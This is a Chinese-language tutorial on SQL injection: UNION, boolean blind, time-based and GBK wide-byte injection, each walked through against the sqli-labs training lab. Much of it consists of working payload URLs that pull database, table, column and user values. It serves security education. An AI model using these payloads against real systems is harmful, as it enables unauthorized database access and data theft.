SQL注入的常见方式

2023-11-19

联合查询(union)

函数介绍

order by

详细解释参见:https://www.w3school.com.cn/sql/sql_orderby.asp
简单来说就是用来对数据进行排序的,在注入中用于判断表的列数

select * from users ORDER BY id				# 按id列递增排序
select * from users ORDER BY 1				# 按第1列递增排序
select * from users ORDER BY id desc	# 按id列递减排序
select * from users ORDER BY 1 desc		# 按第1列递减排序

在这里插入图片描述

在这里插入图片描述

union select

详细解释参见:https://www.w3school.com.cn/sql/sql_union.asp
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

用于获取敏感信息

在这里插入图片描述

接下来就是注入了。

操作

此处省略,在下一篇文章“MySQL注入”中以2个案例详细介绍了联合查询的注入手法。

布尔盲注 (and or)

函数介绍

mid 从中间截取字符

详细解释参见:https://www.w3school.com.cn/sql/sql_func_mid.asp
MID 函数用于从文本字段中提取字符。
在这里插入图片描述

left 从左开始截取字符

left(a,b),从左侧截取 a 的前 b 位

left(database(),1)> "s"	
# Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位

在这里插入图片描述

ord、ascii 转成ascii码

ord() 函数同 ascii(),将字符转为 ascii
ascii码对照表:http://ascii.911cha.com

ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=1

# substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 

在这里插入图片描述

length 统计长度

在这里插入图片描述

and

使用and,通过显示结果进行布尔判断
在这里插入图片描述

regexp 正则注入-针对MySQL

参见:sql 盲注之正则表达式攻击
这里我们使用的是sql-lab靶场,知道数据库名字是security,目的:获取当前数据库的所有表

  1. 获取当前数据库的第一个表的第一个字符

通过不断缩小范围,查到第1个字符是e(从下图中可以看到,第一个表是emails)

select * from users where id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE table_schema="security" AND table_name REGEXP '^[a-d]' LIMIT 0,1);

在这里插入图片描述

  1. 获取其余字符

只需要更改一下正则就行,之后依次是:‘e[a-z]’、'em[a-z]’、‘ema[a-z]’……'emails’
最后1个符号判断出来之后,其实可以直接把正则去除了,令table_name等于表名即可
在这里插入图片描述

这里思考一个问题? table_name 有好几个,我们只得到了一个 emils,如何知道其他的?
这里可能会有人认为使用 limit 0,1 改为 limit 1,1,但是这种做法是错误的,limit 作用在前面的 select 语句中,而不是regexp

操作

这里拿sql-lab靶场的第5关为例(这关就是盲注,这里使用布尔盲注来注出来)

1. 猜数据库长度

在这里插入图片描述

2. 猜数据库名 (配合BurpSuite)

除了使用ord(mid(database(),1,1))<120的形式,还可以使用left(database(),1)>'a'的形式
查一下,发现115的ascii值对应的字符是s,使用同样的方法,测出数据库的全名
方法1:使用**ord(mid(database(),1,1))<120**的形式
在这里插入图片描述

方法2:使用**left(database(),1)>'a'**的形式
在这里插入图片描述

这种手工注入的方式实在是繁琐,可以使用工具,这里暂且按住sqlmap不用,因为主要是得梳理原理,也可以写个python脚本去做测试,但是BurpSuite它不香吗?
逐个爆破字符

  1. 抓包,长这个样子

在这里插入图片描述

  1. 转到爆破模块中

在这里插入图片描述

在这里插入图片描述

  1. 发现ascii是115的时候,有结果,得知数据库名的第一个字符是s

在这里插入图片描述

实操

  1. 截取数据包

使用上次的数据包

  1. 爆破

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

对测试结果做一下排序,得到测试答案。
在这里插入图片描述

3. 猜表的个数

爆破也行,但是,手工也挺快的,测试发现是4张表
?id=1' and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())=4--+
在这里插入图片描述

4. 猜表

这里拿sql-lab靶场的第5关为例(这关就是盲注,这里使用布尔盲注来注出来)
在这里插入图片描述

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>n

# a是从0开始第几个表,b从1开始为第几个字符,n是ASCII所对应的十进制数

# ascii函数是求出ascii码最后结果和n比较
# substr配合参数b一次找出表名的每一位
# limit配合a找到每一张表

举个例子,我们知道第一张表是emails,可以使用如下payload:

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101--+

接下来的操作,可以使用BurpSuite爆破了,手工注入的话,代码如下:

关键的攻击代码
第一张表(emails)
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))='7 --+

http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1))=97 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1))=105 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1))=108 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1))=115 --+

第二张表(referers)
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))='8 --+
...

第三张表(uagents)
...

第四张表(users)
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))='5 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),3,1))=101 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),4,1))=114 --+
http://192.168.239.132/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),5,1))=115 --+

5. 猜列

估算列名的字符长度

公式如下;
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit a,1)=b--+
a从0开始,a=0时代表第1列
b代表列名的字符长度


第1列的列名长度是2
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+

第2列的列名长度是8
?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)=8--+

在这里插入图片描述

使用正则注入的方式猜列名,如下,猜出存在username列,同理,可以猜出password列

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^userna[a-z]' limit 0,1)--+

?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name="username" limit 0,1)--+

6. 猜值

书写格式1:

?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68--+

书写格式2:
把ascii转成字符,即:Dumb

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68--+
?id=1' and ascii(substr((select username from users limit 0,1),2,1))=117 --+
?id=1' and ascii(substr((select username from users limit 0,1),3,1))=109--+
?id=1' and ascii(substr((select username from users limit 0,1),4,1))=98--+

延时注入(sleep if)

延时注入最大的问题并不在于它是延时,而在于,网站还有一段加载时间,导致不好准确判断延时情况。
延时注入可以按照布尔盲注的方式来,只不过需要添加if……sleep而已

如何区分应该使用延时注入,还是布尔盲注呢?
使用布尔盲注:如果输出正确的内容,返回统一的结果;输入错误的内容,返回统一的另一种结果
使用延时注入:输入正确或错误的内容,都返回一种结果
【优先使用布尔盲注,相对更快一点】

什么是延时注入?
如下图,可以看到,直接查询的时候,时间是0秒;延时1秒的时候,大约是1秒之后才有结果
在这里插入图片描述

函数

if语句
格式:IF(Condition,A,B)
意义:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
在这里插入图片描述

基于if构造延时注入
适用于无回显,通过延时注入盲猜
在这里插入图片描述

操作

这里拿sql-lab靶场的第9关为例(这关就是延时注入,无论输入什么,返回的都是同样的页面)
下面的payload都不能用,只得测试延时注入了。

http://192.168.239.132/sqli-labs-master/Less-9/?id=" --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=' --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=") --+
http://192.168.239.132/sqli-labs-master/Less-9/?id=') --+

测试延时注入,发现浏览器大约3秒后返回结果,说明存在延时注入

http://192.168.239.132/sqli-labs-master/Less-9/?id=1' and sleep(3) --+

1. 猜数据库长度

?id=1' and if(length(database())=8,sleep(3), 1) --+

2. 猜数据库名

除了使用下面的形式,还可以使用ord(mid(database(),1,1))<120的形式,或left(database(),1)>'a'

?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+		# 获得第1位,是s
?id=1'and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+		# 获得第2位,是e

依次类推,我们知道了数据库名字是 security

3. 猜表名

猜测第一个数据表的第一位是 e,…依次类推,得到 emails

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第二个数据表的第一位是 r,…依次类推,得到 referers

?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

再以此类推,我们可以得到所有的数据表 emails,referers,uagents,user

4. 猜测 users 表的列

猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password

?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

5. 猜值

猜测 username 的第一行的第一位

?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

以此类推,我们得到数据库 username,password 的所有内容

宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义,以sqli-labs 32 关为例子 ,来介绍宽字节注入。

引子

  1. 通过替换id值,发现页面有不同的显示内容,可以考虑联合查询

在这里插入图片描述

  1. 尝试报错注入,发现单引号被转义了,1\'的ascii值就是315c27,要解决转义的问题,就需要使用宽字节注入

在这里插入图片描述

在这里插入图片描述

在回答宽字节注入之前,先来看一下源代码,看看它是怎么玩的。
在28行看到了id,说明川籍哪里的内容会进到这里,30行的id前面有check_addslashes,发现它被定义在17行,查看函数内容得知,这个函数就行用来做转义替换的。再往下面捋一捋,发现第40行,mysql使用了gbk编码。此网页在连接数据库时,会将字符编码设置为GBK编码集合,然后进行SQL语句拼接,最后进行数据库查询
在这里插入图片描述

GBK编码

GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。转义字符 \ 的编码是 5c,注意到 5C 在GBK 编码的低位范围之内[40,FE]。在 5C 之前添加一个字符[81,FE] 之间,该字符就会和 5c 组成一个汉字。也就是说,所谓的宽字节注入,就是要让转义字符 **\** 失效,方式就是找到1个汉字,它的GBK编码中包含**5c**
这样,转义字符 \ 就会失效,失去了转义的作用,就可以进行注入了。目前,网上通用的是%df%5c组成的汉字“運”
在这里插入图片描述

除了df还有别的吗?当然有,如下:
af可以
在这里插入图片描述

bf也可以
在这里插入图片描述

可以在GBK 汉字编码方案中找到更多符合条件的汉字
在这里插入图片描述

注入

  1. 验证宽字节注入,成功触发报错
?id=1%df'

在这里插入图片描述

  1. 说明存在sql注入
?id=1%df'--+

在这里插入图片描述

  1. 联合查询

这里有坑,不能使用order by判断列数,因为回显内容一致

?id=1%df' order by 3 --+

在这里插入图片描述

在这里插入图片描述

解决办法是直接使用union select判断列数
列数错误,报错
在这里插入图片描述

列数正确,回显正常

?id=1%df' union select 1,2,3 --+

在这里插入图片描述

查出敏感信息,接下来就完完全全是联合查询的内容了,不再赘述。

?id=1%df' and 1=2 union select 1,version(),database() --+

在这里插入图片描述

额外补一句,前面提到,宽字节注入的核心就是找到一个GBK编码中存在5c的汉字,除了网上通用的df,这里可以换别的试试,如af

?id=1%af' and 1=2 union select 1,version(),database() --+

在这里插入图片描述

参考

sqlilabs1-20详细教程
《mysql注入天书》
sql 盲注之正则表达式攻击

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入的常见方式 的相关文章

  • iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1 数字型注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2 字符型注入 宽字节注入 mooyuan的博客 CSDN博客 iwebsec靶场 SQL
  • 2022-渗透测试-6个最常用的工具

    目录 1 Wireshark 2 Metasploit 3 Nmap 4 Nessus 5 SQL Map 6 W3af 大家可以关注关注我的公众号 定期分享一些干货 直接搜索 小白渗透测试 或者扫描下面的二维码就可以了 1 Wiresha
  • Windows&Linux文件传输方式总结

    技术交流 关注微信公众号 Z20安全团队 回复 加群 拉你入群 一起讨论技术 直接公众号文章复制过来的 排版可能有点乱 可以去公众号看 在渗透过程中 通常会需要向目标主机传送一些文件 来达到权限提升 权限维持等目的 本篇文章主要介绍一些wi
  • 渗透技巧——手动判断注入点(思维导图)

    在渗透测试过程中 在web存在较复杂的情况下需要有针对性的先进性手动测试是否存在注入点 总结如下手动测试思维导图 如下思维导图针对大多数有注入点的场景
  • 看完这篇 教你玩转渗透测试靶机vulnhub——FunBox1

    Vulnhub靶机FunBox1渗透测试详解 Vulnhub靶机介绍 Vulnhub靶机下载 Vulnhub靶机安装 Vulnhub靶机漏洞详解 信息收集 暴力破解 ssh登入 提权 获取flag Vulnhub靶机渗透总结 Vulnhub
  • 2022-渗透测试-git提权(Linux)

    目录 1 什么是提权 2 git提权命令 3 git的使用 1 什么是提权 提权就是通过各种办法和漏洞 提高自己在服务器中的权限 以便控制全局 利用漏洞的最终目的是获取被测系统的最高权限 即Windows中管理员账户的权限 或Linux中r
  • 全网最详细网络安全学习路线!手都给我码酸了!

    零基础小白 学完掌握可就业 入门到入土的网安学习路线 在各大平台搜的网安学习路线都太粗略了 看不下去了 我把自己报班的系统学习路线 整理拿出来跟大家分享了 本文为纯干货纯文字内容 需要详细学习路线图以及配套资料的同学可留言或者后台踢我免费分
  • 看完这篇 教你玩转渗透测试靶机vulnhub——DC6

    Vulnhub靶机DC6渗透测试详解 Vulnhub靶机介绍 Vulnhub靶机下载 Vulnhub靶机安装 Vulnhub靶机漏洞详解 信息收集 暴力破解 漏洞发现 漏洞利用 nmap脚本提权 获取flag Vulnhub靶机渗透总结 V
  • kali工具的使用

    一 netcat简介与使用 nc的全称为NetCat 它能够建立并接受传输控制协议 TCP 和用户数据报协议 UDP 的连接 Netcat可在这些连接上读写数据 直到连接关闭为止 它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互
  • 反序列化漏洞原理详解

    Apache shiro简介 Apache Shiro是一个强大且易用的Java安全框架 执行身份验证 授权 密码和会话管理 使用Shiro的易于理解的API 您可以快速 轻松地获得任何应用程序 从最小的移动应用程序到最大的网络和企业应用程
  • Vulnhub之Me-and-My-Girlfriend

    Vulnhub是一个很好的靶机平台 想看官网点这里 今天学习Me and My Girlfriend 点击这里下载哦 这个比较简单 入门学习 VMware和VirtualBox都可以导入 成功后如图 这里修改连接为NAT模式 然后就开始玩耍
  • 【渗透测试笔记】之【内网渗透——Windows系统散列值获取与防范】

    拓扑图 Windows系统散列值获取 1 通过CS模块获取用户凭证信息 在获取到目标主机权限后 我们可以抓取hash和dump明文密码 这两项功能都需要管理员权限 如果权限不足 先要进行提权操作 抓取密码哈希 右键被控主机 gt Acces
  • sqlmap脚本tamper使用

    很多时候还是得静下来分析过滤系统到底过滤了哪些参数 该如何绕过 sqlmap中的tamper给我们带来了很多防过滤的脚本 非常实用 可能有的朋友还不知道怎样才能最有效的利用tamper脚本 当然使用脚本之前需要确定的就是系统过滤了哪些关键字
  • 浅谈逻辑漏洞中的越权访问漏洞

    越权漏洞 越权访问漏洞示意图 一 越权访问漏洞简介 1 类型 水平越权 通过更换的某个ID之类的身份标识 从而使A账号获得 增删查改 B账号的数据 垂直越权 使用低权限身份的账号 发送高权限账号的请求 获得其高权限的操作 未授权访问 通过删
  • swift编程入门(非常详细)从零基础入门到精通,看完这一篇就够了

    文章目录 1 读后概述 2 语法笔记 2 1 说明 2 2 基础类型 2 3 运算符 2 4 字符与字符串 2 4 控制流 2 5 函数 2 6 闭包 2 7 枚举 结构体 类 2 8 类的构造与析构 2 9 属性监听器 2 10 类的继承
  • sqli-labs靶场Less-7

    备注 虽然从首页进来就知道是dump into outfile 但我还是假设按不知道的流程来一步步尝试 这样才会印象深刻 不然我觉得失去练习的意义了 1 访问首页 Less 7 index php id 1 这里的传参点是id 探测六步 判
  • DVWA安装配置教程

    原文传送门 http www cnblogs com yaochc p 5049832 html DVWA 安装教程 1 直接下载WampServer 免去了需要安装apache php mysql的服务器软件的痛苦 一体集成 相当于安装了
  • pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)

    目录 写在开头 题目简介 解题思路 前置知识 简要了解 plt表和got表 延迟绑定 例题详解 32位 64位 总结与思考 写在开头 这篇博客早就想写了 但由于近期事情较多 一直懒得动笔 近期被领导派去临时给合作单位当讲师 要给零基础的学员
  • 运维人员必须知道的10个系统进程

    前言 在日常运维工作中 经常会看到一些奇怪的系统进程占用资源比较高 但是又不敢随意的Kill这些进程 而这些系统级的内核进程都是会用中括号括起来的 它们会执行一些系统的辅助功能 如将缓存写入磁盘 无括号的进程都是用户们执行的进程 如java
  • 运维人员必须知道的10个系统进程

    前言 在日常运维工作中 经常会看到一些奇怪的系统进程占用资源比较高 但是又不敢随意的Kill这些进程 而这些系统级的内核进程都是会用中括号括起来的 它们会执行一些系统的辅助功能 如将缓存写入磁盘 无括号的进程都是用户们执行的进程 如java

随机推荐

  • 双链表嵌套的简单学生信息管理系统

    参考 实现双链表嵌套的简单学生信息管理 作者 三速何时sub20 发布时间 2020 07 20 10 44 40 网址 https blog csdn net weixin 44234294 article details 1074581
  • C++内联函数

    C 内联函数 1 什么是函数 函数是一个可以重复使用的代码块 CPU 会一条一条地挨着执行其中的代码 CPU 在执行主调函数代码时如果遇到了被调函数 主调函数就会暂停 CPU 转而执行被调函数的代码 被调函数执行完毕后再返回到主调函数 主调
  • PCL 基于迭代双边滤波的点云平滑

    目录 一 算法原理 1 原理概述 2 主要函数 3 参考文献 二 代码实现 三 结果展示 一 算法原理 1 原理概述 点云双边滤波的算法原理和详细实现过程见 PCL 基于法线的双边滤波 具体实现效果如下图所示 绿色为平滑前的点云 红色为平滑
  • 区块链产业生态发展情况-中国区块链产业生态发展

    2019以来中国区块链产业处于蓬勃发展期 从中央到地方有关区块链发展的指导意见和扶持政策不断发布 据不完全统计 今年上半年全国共有超过23个省市发布了112条涉及区块链的政策信息 多省市把区块链纳入发展数字经济的规划中 大力推进区块链应用落
  • 2023电赛E题:OpenMV4的矩形识别与中心判断

    增加识别率 使用OpenMV4官方的矩形识别案例 发现识别率很低 经常乱识别 为了增加识别率 加入最大矩形块的判断 让其只识别最大的矩形块 发现识别率高了很多 矩形起点识别与中心判断 接着是矩形起点和矩形中心判断 通过矩形类自带的矩形4元素
  • 数据降维

    数据降维 MATLAB实现基于LFDA基于局部费歇尔判别的分类数据降维可视化 目录 数据降维 MATLAB实现基于LFDA基于局部费歇尔判别的分类数据降维可视化 基本介绍 模型描述 程序设计 学习小结 基本介绍 MATLAB实现基于LFDA
  • signature今日头条php实现,今日头条_signature 值解析算法,另带DEMO_精易论坛

    navigator WT JS DEBUG v1 7 5 NLiger2018 appCodeName Mozilla appMinorVersion 0 appName Netscape appVersion 5 0 Windows NT
  • 【无标题】PPTP和L2TP服务器iPhone和PC VPN同时接入设置

    PPTP和L2TP服务器iPhone和PC VPN同时接入设置 VPN 用户管理 添加PPTP和L2TP用户 这样iPhong使用L2TP拨号 因为苹果禁用PPTP PC使用PPTP拨号 因为PPTP比L2TP上网速度快
  • IIS7.5文件解析漏洞&&Apache解析漏洞&&Nginx文件解析漏洞&&

    实验原理 文件上传使用白名单做限制 只能上传图片文件 导致脚本文件无法上传 上传图片马绕过白名单文件上传的验证 但是图片马又无法解析 利用IIS7 5文件解析漏洞的特点 任意文件名 任意文件名 php 从而解析脚本文件 实验步骤 1 登录操
  • 怎样使用Finder从MacOS Catalina删除iPhone和iPad备份?

    是否需要清理一些磁盘空间或摆脱Mac上的某些旧iPhone或iPad备份 备份iPhone或iPad最安全 最彻底的方法是通过Mac Finder进行加密备份 以下是在macOS Catalina中删除旧的iPhone或iPad备份的方法
  • 通过matlab实现数字图像处理中的抠图换背景功能

    适合背景为蓝色的图片 效果最好 如果背景色为别的颜色 可对代码进行调整修改后使用 其实这里的代码最开始由于报错已经经过我的修改了 可能出现的异常情况 1 待抠图片以及需要替换的背景图片放置在代码文件所在的目录 不然会无法读取 不出结果 2
  • 【安全】Apache HDFS 上配置 kerberos

    文章目录 4 3 部署kerberos keytab文件 4 4 命令测试 4 5 写个测试类测试一下 4 5 修改 hdfs 配置文件 4 5 1 常规配置 4 5 2 可选配置 4 5 2 可选配置 4 5 3 可选配置 4 5 4 注
  • ubantu16.04安装Anaconda

    1 官网下载安装包 我下载的是python 3 10版本的 后续用tvm要求python版本在 3 7 3 8 记得创建一个虚拟环境 Anaconda历史版本链接 https repo anaconda com archive 2 开始安装
  • 【项目实战】复旦微MCU+RT-thread+Moudbus(1)

    前言 手头存货FM33LC046芯片 复旦微提供的是freertos和rthread nano的例子 一直想使用RTThread完整版 MCU由于ROM有限 项目因此不可能太复杂 怕后期资源不够 第一步 git源码https gitee c
  • Activiti-设置全局变量的四种方法

    1 在流程启动的时候设置全局变量 在流程启动时设置全局变量 Test public void startProcessInstance 得到runtimeService RuntimeService runtimeService proce
  • 如何在Controller层实现事务管理?

    在spring aop 事务管理中发现 我们是在service层实现的事务管理 现在有如下场景 大家讨论下看如何实现 ControllerA ControllerB ControllerC 共同依赖ServiceA ServiceB 上述C
  • Java特训的第一天——开篇

    我是一名刚入门的Java菜鸟 我选择Java的原因是因为其语法简单 功能强大 从web 到桌面 到嵌入式 无所不能 下面我将谈一谈我对Java语言的认识 Java语言概述 关于Java的介绍网上有很详细的阐述 我在这里就不再细述了 下面只简
  • 非谓语动词

    文章目录 1 to 动词原形或动词原形 ing 1 1 动词不定式 1 2 动名词 2 假主语 真主语和不定式 动名词的否定式 2 1 形式主语 2 2 形式宾语 2 3 动名词或不定式否定 3 to不定式表示目的 4 常见的不定式和动名词
  • 【vue网站优化】秒开网页

    vue网站优化 网页渲染速度快到极致 在将打包后的dist目录上传到服务器时 往往会出现首次加载页面速度较慢的情况 以下给出几点优化意见 在路由配置文件中 采用路由懒加载 当打包构建应用时 JavaScript 包会变得非常大 影响页面加载
  • SQL注入的常见方式

    目录 联合查询 union 函数介绍 order by union select 操作 布尔盲注 and or 函数介绍 mid 从中间截取字符 left 从左开始截取字符 ord ascii 转成ascii码 length 统计长度 an